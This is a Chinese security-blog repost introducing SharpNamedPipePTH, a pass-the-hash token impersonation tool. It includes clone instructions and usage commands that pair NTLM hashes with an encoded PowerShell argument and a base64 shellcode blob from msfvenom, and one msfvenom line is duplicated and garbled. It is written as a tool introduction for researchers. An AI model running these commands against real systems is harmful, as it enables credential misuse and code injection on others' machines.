前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >如何使用SharpNamedPipePTH实现令牌模拟

如何使用SharpNamedPipePTH实现令牌模拟

作者头像
FB客服
发布2022-11-14 15:25:01
1.6K0
发布2022-11-14 15:25:01
举报
文章被收录于专栏:FreeBufFreeBuf

关于SharpNamedPipePTH

SharpNamedPipePTH是一款基于C#开发的安全工具,该工具可以利用哈希传递技术(Pass-the-Hash)在本地命名管道上进行身份认证,并实现用户令牌模拟。需要注意的是,该工具需要本地管理员权限或SEImpersonate权限。

功能介绍

1、具备功能完整的Shell; 2、支持与目标设备用户账号建立C2链接; 3、支持模拟低权限账号; 4、该工具支持以C2模块使用;

不幸的是,模拟用户不允许网络身份验证,因为新进程使用的将会是受限制的模拟令牌。因此,我们只能将此技术用于其他用户的本地操作。

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

代码语言:javascript
复制
git clone https://github.com/S3cur3Th1sSh1t/SharpNamedPipePTH.git

(向右滑动,查看更多)

接下来,我们就可以将项目导入到Visual Studio中,构建代码即可。

工具使用

我们有两种方法来使用SharpNamedPipePTH,我们可以直接执行下列代码(可以携带相关参数):

代码语言:javascript
复制
SharpNamedPipePTH.exe username:testing hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:C:\windows\system32\cmd.exe
(向右滑动,查看更多)
代码语言:javascript
复制
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" arguments:"-nop -w 1 -sta -enc bgBvAHQAZQBwAGEAZAAuAGUAeABlAAoA"
(向右滑动,查看更多)

或者,该工具也支持以其他用户身份/权限来执行Shellcode:

代码语言:javascript
复制
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 shellcode:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY21kLmV4ZQA=
代码语言:javascript
复制
(向右滑动,查看更多)


msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0
(向右滑动,查看更多)

当前版本SharpNamedPipePTH的Shellcode执行效果还不是很好,因为它只能以模拟用户身份运行记事本程序,并通过D/Invoke CreateRemoteThread Syscall系统调用将Shellcode注入到新进程中。因此,开发人员正在寻找其他方法在后台生成进程或执行Shellcode,而不需要目标用户的进程进行内存分配。

许可证协议

本项目的开发与发布遵循BSD-3-Clause开源许可证协议。

项目地址

SharpNamedPipePTH::https://github.com/S3cur3Th1sSh1t/SharpNamedPipePTH

参考资料

https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/ https://github.com/checkymander/Sharp-SMBExec/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-10-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 关于SharpNamedPipePTH
  • 功能介绍
  • 工具下载
  • 工具使用
  • 许可证协议
  • 项目地址
  • 参考资料
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档